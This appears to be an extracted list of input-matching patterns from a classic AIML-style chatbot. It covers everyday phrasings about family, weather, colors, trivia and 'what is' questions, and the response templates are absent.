FRIENDS ARE * + + +MY PURPOSE * + + +MY BROTHER IS * + + +MY BROTHER * + + +MY CONDITIONS * + + +MY HOUSE * + + +MY SISTER WANTS * + + +MY SISTER IS * + + +MY SISTER * + + +MY BRAIN CAN NOT * + + +MY BRAIN * + + +MY HEART * + + +MY HUSBAND IS * + + +MY HUSBAND * + + +MY KITTEN * + + +MY TEACHER * + + +MY WIFE S * + + +MY WIFE IS * + + +MY WIFE * + + +MY TEACHERS * + + +MY TEACHERS ARE * + + +MY SURROUNDINGS * + + +MY * DIED YESTERDAY + + +MY * DIED + + +MY * IS COMING OVER + + +MY * + + +MY ADVICE * + + +MY MOM IS * + + +MY MOM * + + +MY GOSSIP * + + +MY HEIGHT * + + +MY MEMORY * + + +MY EYES ARE * + + +MY MOTHER HAS * + + +MY MOTHER DIED * + + +MY MOTHER IS A * + + +MY MOTHER IS * + + + +MY MOTHER IS * * * + + +MY MOTHER GAVE * + + +MY MOTHER * + + +MY BACK * + + +CURLY * + + +DARK * + + +IT COULD * + + +IT COULD HAPPEN * + + +IT * + + +IT LOOKS LIKE * + + +IT WAS A YES OR NO * + + +IT WAS A LONG TIME * + + +IT WAS A PLEASURE * + + +IT WAS A * + + +IT WAS NICE * + + +IT WAS MADE * + + +IT WAS ST PETER * + + +IT WAS * + + +IT WAS NOT THAT * + + +IT WAS NOT A RHETORICAL * + + +IT WAS NOT A * + + +IT WAS NOT MEANT * + + +IT WAS NOT MY * + + +IT WAS NOT * + + +IT WORKED * + + +IT WOULD DEPEND * + + +IT WOULD BE NICE IF * + + +IT WOULD * + + +IT CAN * + + +IT SUCKS * + + +IT DEPENDS ON THE * + + +IT DEPENDS ON WHO * + + +IT DEPENDS ON * + + +IT DEPENDS * + + +IT STARTED * + + +IT BEING * + + +IT IS NICE TO MEET * + + +IT IS NICE TO * + + +IT IS NICE * + + +IT IS CALLED * + + +IT IS YOU * + + +IT IS SAD * + + +IT IS A PERSONAL * + + +IT IS A COOL * + + +IT IS A MOVIE * + + +IT IS A HARD * + + +IT IS A BEAUTIFUL * + + +IT IS A DOG * + + +IT IS A PLEASURE * + + +IT IS A FUNNY * + + +IT IS A SOAP * + + +IT IS A TYPE OF * + + +IT IS A UNIVERSITY * + + +IT IS A PERSON * + + +IT IS A * + + +IT IS A SEARCH * + + +IT IS A GESTURE * + + +IT IS WRONG * + + +IT IS COMPLICATED * + + +IT IS CRAZY * + + +IT IS FORBIDDEN * + + +IT IS EASY * + + +IT IS OK * + + +IT IS POSSIBLE * + + +IT IS IMPOSSIBLE * + + +IT IS HOW * + + +IT IS POLITE * + + +IT IS SOMETHING * + + +IT IS CONFIDENTIAL * + + +IT IS DISTURBING * + + +IT IS OBVIOUS * + + +IT IS WARM * + + +IT IS BETTER * + + +IT IS NOT RHETORICAL * + + +IT IS NOT THE * + + +IT IS NOT DANGEROUS * + + +IT IS NOT A TRICK * + + +IT IS NOT A * + + +IT IS NOT EVERY * + + +IT IS NOT MY * + + +IT IS NOT * + + +IT IS NOT AS * + + +IT IS NO * + + +IT IS DIFFICULT FOR * + + +IT IS DIFFICULT * + + +IT IS RUDE * + + +IT IS ALMOST FIVE * + + +IT IS ALMOST * + + +IT IS BY * + + +IT IS HEALTHY * + + +IT IS UNUSUAL * + + +IT IS IN PERFECT * + + +IT IS IN BERKSHIRE * + + +IT IS IN * + + +IT IS 12 P * + + +IT IS TIME * + + +IT IS COMMON KNOWLEDGE * + + +IT IS COMMON * + + +IT IS BAD * + + +IT IS THE MOST * + + +IT IS THE SUBJECT * + + +IT IS THE NATURE * + + +IT IS THE * + + +IT IS THE BEST * + + +IT IS INTERESTING * + + +IT IS DANGEROUS * + + +IT IS MY DADS * + + +IT IS MY * + + +IT IS SUNNY * + + +IT IS ON * + + +IT IS GOOD * + + +IT IS WHERE * + + +IT IS THERE +MAYBE YOU SHOULD TRY * + + +IT IS QUALITY * + + +IT IS NEARLY BED * + + +IT IS COLD * + + +IT IS * IN FRENCH + + +IT IS * HERE + + +IT IS * O CLOCK + + +IT IS * + + +IT IS FUN * + + +IT IS AMAZING * + + +IT IS WONDERFUL * + + +IT IS AN * + + +IT IS HARD TO * + + +IT IS HARD * + + +IT IS ABOUT * + + +IT IS PART * + + +IT IS RUNNING * + + +IT DID * + + +IT REFERS TO * + + +IT DIVIDES * + + +IT STANDS * + + +IT IDENTIFIES * + + +IT HAS SOMETHING * + + +IT HAS AN * + + +IT HAS * + + +IT DOES NOT APPLY * + + +IT DOES NOT * + + +IT DOES NOT WORK * + + +IT SNOWS * + + +IT MAY * + + +IT HAD * + + +IT MAKES SENSE * + + +IT MAKES * + + +IT SNOWED * + + +IT RAINS * + + +IT STARS * + + +IT ALL * + + +IT OFFENDS * + + +IT TASTES * + + +IT TOOK * + + +IT GOES * + + +IT FEELS * + + +IT SHOULD * + + +IT WILL * + + +IT WILL NOT * + + +IT MIGHT * + + +IT GETS * + + +IT SAYS * + + +IT BEATS * + + +MORE THAN * + + +MORE * + + +GUESS WHAT COLOR * + + +GUESS THE COLOR OF * + + +GUESS * FAVORITE COLOR IS + + +GUESS * + + +PSYCHOLOGY * + + +CARS * + + +WATCH * + + +MIKE * + + +AOL * + + +LESS THAN * + + +ARCHIVES * + + +AMERICAN * + + +FIND * + + +SAME * + + +WOMEN FROM * + + +WOMEN * + + +PART * + + +LA LA * + + +MAKE UP * + + +MAKE LOVE * + + +MAKE * + + +WHEN I AM FINISHED * + + +WHEN I AM * + + +WHEN I FEEL * + + +WHEN I DO NOT * + + +WHEN I TRIED * + + +WHEN I TALK * + + +WHEN I ASK * + + +WHEN I WAS * + + +WHEN I WENT TO * + + +WHEN I WENT * + + +WHEN I HAVE * + + +WHEN I TOLD * + + +WHEN I TRY * + + +WHEN I * +WHEN + + +WHEN AM I GOING TO * + + +WHEN WERE YOU * + + +WHEN WERE * + + +WHEN WILL I * + + +WHEN WILL IT * + + +WHEN WILL AI * + + +WHEN WILL YOU GET BACK * + + +WHEN WILL YOU FINISH * + + +WHEN WILL YOU * + + +WHEN WILL * + + +WHEN HELL * + + +WHEN TALKING * + + +WHEN DO YOU THINK * LAWYERS + + +WHEN DO YOU * + + +WHEN DO * + + +WHEN SOMETHING * + + +WHEN THERE * + + +WHEN DAYLIGHT SAVINGS * + + +WHEN DID LENIN * + + +WHEN DID THE DINOSAURS * + + +WHEN DID THE TITANIC * + + +WHEN DID YOU MOVE * + + +WHEN DID YOU * + + +WHEN DID WE * + + +WHEN DID MAN * + + +WHEN DID * + + +WHEN DID JOHN F * + + +WHEN THE * + + +WHEN SHE * + + +WHEN SOMEONE * + + +WHEN HE FOUND * + + +WHEN HE * + + +WHEN IT RAINS * + + +WHEN IT * + + +WHEN ANYONE * + + +WHEN WAS AMERICA * + + +WHEN WAS * CIVIL WAR + + +WHEN WAS * INVENTED + + +WHEN WAS * + + +WHEN WOULD * + + +WHEN IS THE NEXT * + + +WHEN IS THE * + + +WHEN IS A DOOR * + + +WHEN YOU * + + +WHEN YOU ARE IN * + + +WHEN YOU ARE * + + +WHEN WE WERE * + + +WHEN WE SPEAK * + + +WHEN WE * + + +WHEN ONE * + + +WHEN LAWYERS * + + +WHEN NO ONE * + + +WHEN PEOPLE * + + +WHEN HUMANS * + + +WHEN HUMANS ARE * + + +WHEN MY * + + +WHEN MAKING * + + +WHEN DOES HE * + + +WHEN DOES SCHOOL * + + +WHEN DOES BEING * MATTER + + +WHEN THEY * + + +WHEN * + + +WHEN THINGS * + + +WHEN ARE TAXES * + + +WHEN ARE WE GOING * + + +WHEN ARE THEY * + + +WHEN ARE * + + +FOUR * + + +When does Christmas * + + +When does leap year * + + +MOMENTUM * + + +EH * + + +LAWYERS * + + +LAWYERS ARE * + + +ANY GUYS * + + +NORWAY * + + +COMPLY * + + +CLINTON * + + +BEER + + +IN * ENGLAND + + +IN * YEARS + + +IN * + + +IN PRACTICE * + + +IN SPANISH * + + +IN 3 * + + +IN 1 * + + +IN THIS * + + +IN THE SENSE * + + +IN THE PICTURE * + + +IN THE MOVIE * + + +IN THE CHILDREN S GAME WHAT * + + +IN THE FILM * + + +IN THE YEAR * + + +IN THE * + + +IN THE 1976 REMAKE OF THE * + + +IN 8 * + + +IN OTHER SOLAR * + + +IN CONJUNCTION * + + +IN MY CRYSTAL * + + +IN MY HOME * + + +IN MY * + + +IN A CRAPPY * + + +IN A * SENSE + + +IN A * + + +IN RELATION * + + +IN 1492 * + + +IN WHAT WAR DID JOAN OF * + + +IN WHAT STATE IS THE 1999 * + + +IN 10 * + + +IN 5 * + + +IN YOUR * + + +IN THREE * + + +HURRY * + + +UNDER * + + +CAMP * + + +HIS NAME IS * + + +HIS * + + +HITLER * + + +2001 * + + +AFTER I * + + +AFTER THIS * + + +AFTER PRINCE CHARLES WHO IS THE * + + +AFTER YOU * + + +AFTER * LUNCH + + +AFTER * + + +IF I AM * + + +IF I TELL * TO KILL YOU + + +IF I WENT * + + +IF I HAD TO * + + +IF I HAD 1 * + + +IF I HAD YOU * + + +IF I HAD * + + +IF I HAVE OFFENDED * + + +IF I HAVE THREE * + + +IF I HAVE * + + +IF I * + + +IF I SAID * + + +IF I UNPLUG * + + +IF THAT IS * + + +IF THAT * + + +IF THERE * + + +IF THE * + + +IF THE HEART * + + +IF CHRISTMAS DAY FALLS ON A * + + +IF SOMEONE * TURN YOU OFF + + +IF SOMEONE * + + +IF PETER PIPER * + + +IF HE * + + +IF IT * + + +IF A ROOSTER LAYS * + + +IF A TREE * + + +IF A MAN * + + +IF A * + + +IF A BUSINESS * + + +IF A EQUALS * + + +IF YOU DIAL 411 ON A * + + +IF YOU WERE FINISHED * + + +IF YOU WERE ACTIVATED * + + +IF YOU WERE A COLOR * + + +IF YOU WERE A * WHAT KIND WOULD YOU BE + + +IF YOU WERE TO * + + +IF YOU WERE * + + +IF YOU WERE NOT * + + +IF YOU WILL * + + +IF YOU GIVE SOMEONE THE EVIL * + + +IF YOU DO * + + +IF YOU DO NOT * + + +IF YOU ANSWER * + + +IF YOU COULD * + + +IF YOU HAD * + + +IF YOU SMELL * + + +IF YOU HAVE TROUBLE * + + +IF YOU HAVE ONE OF EACH * + + +IF YOU HAVE TWO * + + +IF YOU HAVE * + + +IF YOU WON * + + +IF YOU PERCEIVE * + + +IF YOU * + + +IF YOU ARE A GIRL * + + +IF YOU ARE A PERSON * + + +IF YOU ARE A * + + +IF YOU ARE AFRAID OF THE DARK * + + +IF YOU ARE NOT HUMAN * + + +IF YOU ARE NOT CERTAIN * + + +IF YOU ARE NOT * + + +IF WE VIEW * + + +IF WE * + + +IF THEY * + + +IF ALL * + + +IF * THEN * + + +IF * TURN YOU OFF + + +IF * + + +IF NOT * + + +DREAMS * + + +BECOME * + + +HU S * + + +INTERESTING * + + +LONG * + + +AMERICA HAS * + + +AMERICA IS * + + +AMERICA * + + +TIRED * + + +WHAT YEAR * AMERICA + + +WHAT SYMBOL * + + +WHAT BELIEF * + + +WHAT CONDITION IS CAUSED BY * + + +WHAT GRADE * + + +WHAT OPERATIVE * + + +WHAT NUMBER * + + +WHAT CARD GAMES * + + +WHAT EQUALS * + + +WHAT ARE * FOR + + +WHAT ARE * KRAFTWERK + + +WHAT ARE PLASTIC BOXES * + + +WHAT ARE SOME NAMES * + + +WHAT ARE THE SMOTHER S BROTHER * + + +WHAT ARE THE DIMENSIONS OF A * + + +WHAT ARE THE ODDS * + + +WHAT ARE THE ADVANTAGES * + + +WHAT ARE THE LIMITS * + + +WHAT ARE THE NAMES OF DONALD * + + +WHAT ARE THE NAMES * TALKING TO + + +WHAT ARE THE NAMES * + + +WHAT ARE THE THREE * + + +WHAT ARE BANGERS * + + +WHAT ARE ANONYMOUS INNER * + + +WHAT ARE OTHER * + + +WHAT ARE THEY TALKING * + + +WHAT ARE THEY * + + +WHAT ARE YOU COMPUTING * + + +WHAT ARE YOU WAITING * + + +WHAT ARE YOU GOING TO TELL * + + +WHAT ARE YOU DOING NEXT * + + +WHAT ARE YOU * + + +WHAT ARE YOU CONSIDERED * + + +WHAT ARE YOUR FEELINGS * + + +WHAT ARE YOUR * + + +WHAT OTHER * DO YOU KNOW + + +WHAT PERCENT * + + +WHAT TERM IS USED TO DESCRIBE * + + +WHAT TERM DESCRIBES A TRIBE * + + +WHAT TERM DESCRIBES A GROUP * + + +WHAT CURRENCY * + + +WHAT AM I GETTING * + + +WHAT AM I WAITING * + + +WHAT AM I * + + +WHAT GIFTS * + + +WHAT PART OF THE HUMAN BODY * + + +WHAT PART * + + +WHAT * BILL CLINTON + + +WHAT * SPORTS TEAM * + + +WHAT * KRAFTWERK SING + + +WHAT * KRAFTWERK PERFORM + + +WHAT * APPLES + + +WHAT * PERSON + + +WHAT * LIVE IN + + +WHAT PRESIDENT IS MENTIONED * + + +WHAT PEOPLE RULED THE ANDES MOUNTAINS * + + +WHAT TIME IS IT * ENGLAND + + +WHAT TIME ZONE * + + +WHAT TIME PERIOD * + + +WHAT TIME * + + +WHAT FOOTBALL PLAYER WAS KNOWN AS * + + +WHAT FOOTBALL * + + +WHAT MAMMAL * + + +WHAT ELSE CAN YOU REMEMBER * + + +WHAT DID I SAY BEFORE * + + +WHAT DID I TELL YOU * REMEMBER + + +WHAT DID I TELL YOU * + + +WHAT DID THE * SAY TO THE * + + +WHAT DID YOU FIND * + + +WHAT CHILDREN S * + + +WHAT IT * + + +WHAT WERE LEWIS AND CLARK * + + +WHAT WERE YOU DOING * + + +WHAT WERE YOU * + + +WHAT FUNCTION * + + +WHAT WS THE FIRST AMERICAN COLLEGE * + + +WHAT RHYMES WITH * + + +WHAT RHYMES * + + +WHAT WAYS * + + +WHAT HAS ALLY SHEEDY * + + +WHAT HAS * + + +WHAT LETTERS ARE ON THE 3 * + + +WHAT TWO * + + +WHAT HAPPENS * STARSHIP TROOPERS + + +WHAT HAPPENS * DIE + + +WHAT HAPPENS * + + +WHAT BETTER * + + +WHAT MUST * + + +WHAT SINGER APPEARED IN THE 1992 * + + +WHAT SPORTING EVENT * + + +WHAT CONTAINS * + + +WHAT CORPORATION WAS FOUNDED BY A * + + +WHAT SUBJECT * + + +WHAT FORCE CAUSES AN ICE CREAM * + + +WHAT THE * + + +WHAT RESTAURANT * + + +WHAT SMELL IS THE MOST RECOGNIZABLE * + + +WHAT DISEASE IS CHARACTERIZED BY A * + + +WHAT ANIMAL REPRESENTS THE YEAR 2000 * + + +WHAT SUBSTANCE WAS * + + +WHAT CHARACTER DID WOODY * + + +WHAT CITY DID THE BEATLES * + + +WHAT CITY S AIRPORT * + + +WHAT CITY IS THE RUBBER * + + +WHAT CITY * + + +WHAT FACTS * + + +WHAT SHAPE * + + +WHAT OF * + + +WHAT OPERAS * + + +WHAT FOREIGN LANGUAGES * + + +WHAT COLORS ARE THE TWO CIRCLES * + + +WHAT LIQUEUR IS USED TO MAKE * + + +WHAT SOUNDS * + + +WHAT MATHEMATICAL TERM * + + +WHAT IMPACT * + + +WHAT BIOLOGICAL PROCESS * + + +WHAT GAME * + + +WHAT NATIVE EMPIRE CONTROLLED LARGE AREAS * + + +WHAT NATIVE AMERICAN TRIBE DID CHIEF * + + +WHAT COULD * + + +WHAT SPORT DO * + + +WHAT SPORT IS KNOWN * + + +WHAT SPORT IS * + + +WHAT INDUSTRY DID JOHN D ROCKEFELLER * + + +WHAT HAPPENED * + + +WHAT STREET * + + +WHAT COLOR IS UNCLE SAM * + + +WHAT COLOR IS PEPTO * + + +WHAT COLOR IS THE SKY * + + +WHAT COLOR IS YOUR BLUE * + + +WHAT COLOR IS YOUR * + + +WHAT COLOR IS A LAVENDER BLUSH * + + +WHAT COLOR IS A LAVENDER * + + +WHAT COLOR IS A CORNFLOWER BLUE * + + +WHAT COLOR IS A GREEN YELLOW * + + +WHAT COLOR IS A GREEN * + + +WHAT COLOR IS A TOMATO * + + +WHAT COLOR IS A GOLDENROD * + + +WHAT COLOR IS A LAWN GREEN * + + +WHAT COLOR IS A TURQUOISE * + + +WHAT COLOR IS A SIENNA * + + +WHAT COLOR IS A BURLYWOOD * + + +WHAT COLOR IS A FIREBRICK * + + +WHAT COLOR IS A LINEN * + + +WHAT COLOR IS A RED * + + +WHAT COLOR IS A THISTLE * + + +WHAT COLOR IS A HOT PINK * + + +WHAT COLOR IS A FUCHSIA * + + +WHAT COLOR IS A MAGENTA * + + +WHAT COLOR IS A GOLD * + + +WHAT COLOR IS A SEA GREEN * + + +WHAT COLOR IS A NAVAJO WHITE * + + +WHAT COLOR IS A TEAL * + + +WHAT COLOR IS A SALMON * + + +WHAT COLOR IS A WHEAT * + + +WHAT COLOR IS A GRAY * + + +WHAT COLOR IS A ROSY BROWN * + + +WHAT COLOR IS A FLORAL WHITE * + + +WHAT COLOR IS A SNOW * + + +WHAT COLOR IS A MIDNIGHT BLUE * + + +WHAT COLOR IS A CRIMSON * + + +WHAT COLOR IS A YELLOW * + + +WHAT COLOR IS A DIM GRAY * + + +WHAT COLOR IS A WHITE SMOKE * + + +WHAT COLOR IS A WHITE * + + +WHAT COLOR IS A MEDIUM PURPLE * + + +WHAT COLOR IS A MEDIUM SEAGREEN * + + +WHAT COLOR IS A MEDIUM VIOLETRED * + + +WHAT COLOR IS A MEDIUM TURQUOISE * + + +WHAT COLOR IS A MEDIUM SPRINGGREEN * + + +WHAT COLOR IS A MEDIUM ORCHID * + + +WHAT COLOR IS A MEDIUM SLATEBLUE * + + +WHAT COLOR IS A MEDIUM AQUAMARINE * + + +WHAT COLOR IS A MEDIUM BLUE * + + +WHAT COLOR IS A BROWN * + + +WHAT COLOR IS A LIME GREEN * + + +WHAT COLOR IS A LIME * + + +WHAT COLOR IS A SILVER * + + +WHAT COLOR IS A BLUEVIOLET * + + +WHAT COLOR IS A PERU * + + +WHAT COLOR IS A CYAN * + + +WHAT COLOR IS A MISTY ROSE * + + +WHAT COLOR IS A POWDER BLUE * + + +WHAT COLOR IS A SANDY BROWN * + + +WHAT COLOR IS A YELLOWGREEN * + + +WHAT COLOR IS A HONEYDEW * + + +WHAT COLOR IS A VIOLET * + + +WHAT COLOR IS A BLUE * + + +WHAT COLOR IS A SPRING GREEN * + + +WHAT COLOR IS A CADET BLUE * + + +WHAT COLOR IS A GAINSBOR * + + +WHAT COLOR IS A SADDLE BROWN * + + +WHAT COLOR IS A PINK * + + +WHAT COLOR IS A CORAL * + + +WHAT COLOR IS A PLUM * + + +WHAT COLOR IS A BISQUE * + + +WHAT COLOR IS A KHAKI * + + +WHAT COLOR IS A DODGER BLUE * + + +WHAT COLOR IS A CORNSILK * + + +WHAT COLOR IS A CHARTREUSE * + + +WHAT COLOR IS A SLATE GRAY * + + +WHAT COLOR IS A SLATE BLUE * + + +WHAT COLOR IS A BEIGE * + + +WHAT COLOR IS A MINT CREAM * + + +WHAT COLOR IS A MOCCASIN * + + +WHAT COLOR IS A PURPLE * + + +WHAT COLOR IS A BLANCHEDALMOND * + + +WHAT COLOR IS A STEEL BLUE * + + +WHAT COLOR IS A SEASHELL * + + +WHAT COLOR IS A ROYAL BLUE * + + +WHAT COLOR IS A DEEP PINK * + + +WHAT COLOR IS A DEEP SKYBLUE * + + +WHAT COLOR IS A PAPAYA WHIP * + + +WHAT COLOR IS A GHOST WHITE * + + +WHAT COLOR IS A DARK SEAGREEN * + + +WHAT COLOR IS A DARK SLATEGRAY * + + +WHAT COLOR IS A DARK VIOLET * + + +WHAT COLOR IS A DARK ORANGE * + + +WHAT COLOR IS A DARK TURQUOISE * + + +WHAT COLOR IS A DARK KHAKI * + + +WHAT COLOR IS A DARK OLIVEGREEN * + + +WHAT COLOR IS A DARK GRAY * + + +WHAT COLOR IS A DARK ORCHID * + + +WHAT COLOR IS A DARK SLATEBLUE * + + +WHAT COLOR IS A DARK MAGENTA * + + +WHAT COLOR IS A DARK GREEN * + + +WHAT COLOR IS A DARK BLUE * + + +WHAT COLOR IS A DARK CYAN * + + +WHAT COLOR IS A DARK SALMON * + + +WHAT COLOR IS A DARK RED * + + +WHAT COLOR IS A DARK GOLDENROD * + + +WHAT COLOR IS A TAN * + + +WHAT COLOR IS A LIGHT GREY * + + +WHAT COLOR IS A LIGHT STEELBLUE * + + +WHAT COLOR IS A LIGHT YELLOW * + + +WHAT COLOR IS A LIGHT SEAGREEN * + + +WHAT COLOR IS A LIGHT SLATEGRAY * + + +WHAT COLOR IS A LIGHT GOLDENRODYELLOW * + + +WHAT COLOR IS A LIGHT PINK * + + +WHAT COLOR IS A LIGHT GREEN * + + +WHAT COLOR IS A LIGHT CORAL * + + +WHAT COLOR IS A LIGHT BLUE * + + +WHAT COLOR IS A LIGHT CYAN * + + +WHAT COLOR IS A LIGHT SALMON * + + +WHAT COLOR IS A LIGHT SKYBLUE * + + +WHAT COLOR IS A PALE VIOLET RED * + + +WHAT COLOR IS A PALE TURQUOISE * + + +WHAT COLOR IS A PALE GREEN * + + +WHAT COLOR IS A PALE GOLDENROD * + + +WHAT COLOR IS A LEMON CHIFFON * + + +WHAT COLOR IS A NAVY * + + +WHAT COLOR IS A FOREST GREEN * + + +WHAT COLOR IS A SKY BLUE * + + +WHAT COLOR IS A CHOCOLATE * + + +WHAT COLOR IS A PEACH PUFF * + + +WHAT COLOR IS A MAROON * + + +WHAT COLOR IS A BLACK BOX * + + +WHAT COLOR IS A BLACK * + + +WHAT COLOR IS AN OLIVE DRAB * + + +WHAT COLOR IS AN OLIVE * + + +WHAT COLOR IS AN AQUA MARINE * + + +WHAT COLOR IS AN AQUA * + + +WHAT COLOR IS AN INDIGO * + + +WHAT COLOR IS AN ORANGE RED * + + +WHAT COLOR IS AN ORANGE * + + +WHAT COLOR IS AN INDIAN RED * + + +WHAT COLOR IS AN IVORY * + + +WHAT COLOR IS AN ALICE BLUE * + + +WHAT COLOR IS AN ANTIQUE WHITE * + + +WHAT COLOR IS AN ORCHID * + + +WHAT COLOR IS MY GREEN * + + +WHAT COLOR IS MY BLUE * + + +WHAT COLOR IS MY RED * + + +WHAT COLOR IS MY * CAT + + +WHAT COLOR IS MY * + + +WHAT COLOR * DO I HAVE + + +WHAT COLOR ARE YOUR * + + +WHAT COLOR ARE MY * + + +WHAT COLOR ARE YOU * + + +WHAT COLOR ARE * + + +WHAT MOVIES * + + +WHAT WOULD YOU RECOMMEND * + + +WHAT WOULD YOU FEED * + + +WHAT WOULD YOU USE A WAH * + + +WHAT WOULD YOU THINK * + + +WHAT WOULD YOU * + + +WHAT WOULD YOU LIKE TO CHANGE * + + +WHAT WOULD YOU LIKE TO KNOW * + + +WHAT WOULD YOU LIKE TO * + + +WHAT WOULD MAKE * + + +WHAT WOULD CAUSE * + + +WHAT WOULD * BE LIKE + + +WHAT WOULD * + + +WHAT WOULD HAPPEN * + + +WHAT ACTRESS STARRED ON CHARLIE S * + + +WHAT IS A PLANET AROUND A * + + +WHAT IS A PLANET AROUND * + + +WHAT IS A PLANET * + + +WHAT IS A MAGIC * + + +WHAT IS A TRANSITIVE * + + +WHAT IS A BLUE * + + +WHAT IS A _ PERSON + + +WHAT IS A PORTRAIT THAT COMICALLY * + + +WHAT IS A * SEEKER + + +WHAT IS A GLOBAL * + + +WHAT IS A WORD CREATED * + + +WHAT IS A LITHUIM * + + +WHAT IS A BAD * + + +WHAT IS A COLLOQUIAL * + + +WHAT IS A BETTER * + + +WHAT IS A BLACK * + + +WHAT IS A COUPLE * + + +WHAT IS A MENTAL * + + +WHAT IS A USELESS * + + +WHAT IS A TCP * + + +WHAT IS A LOFTY * + + +WHAT IS A COMPACT * + + +WHAT IS A SELF * + + +WHAT IS A BRITISH * + + +WHAT IS A HUMAN * + + +WHAT IS A DUTCH * + + +WHAT IS A NICE GIRL LIKE YOU * + + +WHAT IS A NICE * + + +WHAT IS A NICE * LIKE THIS + + +WHAT IS A GIRL LIKE YOU * + + +WHAT IS A GIRL LIKE * + + +WHAT IS A E * + + +WHAT IS A SMART * + + +WHAT IS A FLAWLESS * + + +WHAT IS A PROXY * + + +WHAT IS A SECRET * + + +WHAT IS A PARALLEL * + + +WHAT IS A QUESTION MEANT * + + +WHAT IS A QUESTION YOU * + + +WHAT IS A QUESTION * + + +WHAT IS A UNIVERSAL * + + +WHAT IS A LIGHT * + + +WHAT IS A DOUBLE * + + +WHAT IS A GOOD INTRODUCTION * + + +WHAT IS A GOOD * + + +WHAT IS A HARD * + + +WHAT IS A GIANT ELECTRONIC * + + +WHAT IS A STEALTH * + + +WHAT IS A SECOND YEAR * + + +WHAT IS HE DOING * SAN FRANCISCO + + +WHAT IS HE * FOR + + +WHAT IS HE * + + +WHAT IS SINE * + + +WHAT IS PARTICLE * + + +WHAT IS TEN * + + +WHAT IS NATURAL * + + +WHAT IS 300 * + + +WHAT IS POTASSIUM * + + +WHAT IS TO * + + +WHAT IS DANGEROUS * + + +WHAT IS GOOD ABOUT * + + +WHAT IS GOOD * + + +WHAT IS 5 * + + +WHAT IS 17 * + + +WHAT IS THE PURPOSE * + + +WHAT IS THE LOWEST * + + +WHAT IS THE POPULATION * EARTH + + +WHAT IS THE POPULATION * + + +WHAT IS THE AVERAGE * + + +WHAT IS THE FORMULA FOR * + + +WHAT IS THE FORMULA * + + +WHAT IS THE MOST COMMON * + + +WHAT IS THE MOST POPULAR BREED * + + +WHAT IS THE MOST POPULAR MONTH * + + +WHAT IS THE MOST * + + +WHAT IS THE TELEPHONE * + + +WHAT IS THE PLURAL OF * + + +WHAT IS THE SOUND * + + +WHAT IS THE NICKNAME OF FLORIDA * + + +WHAT IS THE FIFTH * + + +WHAT IS THE SIGNIFICANCE * + + +WHAT IS THE FINANCIAL * + + +WHAT IS THE COLORED PART OF * + + +WHAT IS THE APPROXIMATE SPEED OF * + + +WHAT IS THE TERM FOR A * + + +WHAT IS THE BLUE * + + +WHAT IS THE CURRENCY * + + +WHAT IS THE INTEGRAL * + + +WHAT IS THE SCARIEST * + + +WHAT IS THE SILLIEST * + + +WHAT IS THE * BEEN ASKED + + +WHAT IS THE * EARTH + + +WHAT IS THE * NEW YORK + + +WHAT IS THE * LOVE + + +WHAT IS THE SQUARE ROOT OF NEGATIVE * + + +WHAT IS THE SQUARE ROOT OF * + + +WHAT IS THE SQUARE ROOT * + + +WHAT IS THE SITE * + + +WHAT IS THE RADIUS * EARTH + + +WHAT IS THE RADIUS * MOON + + +WHAT IS THE DNA * + + +WHAT IS THE CIRCUMFERENCE OF * + + +WHAT IS THE CIRCUMFERENCE * + + +WHAT IS THE AIR SPEED * + + +WHAT IS THE TIME * ENGLAND + + +WHAT IS THE ART OF ELEGANT * + + +WHAT IS THE FASTEST WAY * + + +WHAT IS THE FASTEST ANIMAL * + + +WHAT IS THE FASTEST * + + +WHAT IS THE FATHER SON AND * + + +WHAT IS THE DIFFERENCE BETWEEN YES * + + +WHAT IS THE DIFFERENCE BETWEEN RIGHT * + + +WHAT IS THE DIFFERENCE BETWEEN YOU AND * + + +WHAT IS THE DIFFERENCE BETWEEN YOU * + + +WHAT IS THE DIFFERENCE BETWEEN BLACK * + + +WHAT IS THE DIFFERENCE BETWEEN GREEN * + + +WHAT IS THE DIFFERENCE BETWEEN * + + +WHAT IS THE DIFFERENCE * + + +WHAT IS THE OLDEST PERMANENT EUROPEAN * + + +WHAT IS THE OLDEST * + + +WHAT IS THE REST * + + +WHAT IS THE US * + + +WHAT IS THE GNU * + + +WHAT IS THE VERB * + + +WHAT IS THE LETTER * + + +WHAT IS THE SCIENTIFIC * + + +WHAT IS THE HARDEST * + + +WHAT IS THE SIGNIFIGANCE * + + +WHAT IS THE CHEMICAL * + + +WHAT IS THE NAME OF THE * + + +WHAT IS THE NAME OF THE POW * + + +WHAT IS THE NAME OF MARIO * + + +WHAT IS THE NAME OF HOWARD * + + +WHAT IS THE PROBABILITY * + + +WHAT IS THE WEIRDEST * + + +WHAT IS THE OPPOSITE OF NEGATIVE * + + +WHAT IS THE OPPOSITE OF NATURAL * + + +WHAT IS THE OPPOSITE OF * + + +WHAT IS THE OPPOSITE OF NOT * + + +WHAT IS THE CORRECT * + + +WHAT IS THE THIRD LETTER * + + +WHAT IS THE THIRD * + + +WHAT IS THE SINE * + + +WHAT IS THE LAST WORD OF * + + +WHAT IS THE LAST DIGIT * + + +WHAT IS THE LAST LETTER * + + +WHAT IS THE LAST BOOK IN * + + +WHAT IS THE LAST PLANET * + + +WHAT IS THE NATIONAL LANGUAGE OF * + + +WHAT IS THE NATIONAL ANIMAL OF * + + +WHAT IS THE WORST EPISODE * + + +WHAT IS THE WORST * + + +WHAT IS THE DERIVATIVE OF * + + +WHAT IS THE DIAMETER * EARTH + + +WHAT IS THE DIAMETER * + + +WHAT IS THE PASSWORD * + + +WHAT IS THE MAIN INGREDIENT IN * + + +WHAT IS THE MAIN EXPORT * + + +WHAT IS THE MAIN CAUSE * + + +WHAT IS THE FOURTH PLANET * + + +WHAT IS THE COLOR * + + +WHAT IS THE URL * + + +WHAT IS THE LARGEST ANIMAL IN * + + +WHAT IS THE LARGEST * + + +WHAT IS THE PICTURE ABOVE * + + +WHAT IS THE PICTURE * + + +WHAT IS THE ARITHMETIC MEAN * + + +WHAT IS THE WEATHER * + + +WHAT IS THE SONG * + + +WHAT IS THE LIMIT * + + +WHAT IS THE CLOSEST STAR * + + +WHAT IS THE ANSWER * + + +WHAT IS THE PASSING OF GENETIC * + + +WHAT IS THE LONGEST RIVER * + + +WHAT IS THE LONGEST * + + +WHAT IS THE FUTURE OF * + + +WHAT IS THE PYTHAGOREAN * + + +WHAT IS THE HIGHEST POSSIBLE POKER * + + +WHAT IS THE HIGHEST PRIME * + + +WHAT IS THE HIGHEST MOUNTAIN * + + +WHAT IS THE HIGHEST CITY * + + +WHAT IS THE HIGHEST * + + +WHAT IS THE ATOMIC * + + +WHAT IS THE TRAIT * + + +WHAT IS THE STRANGEST 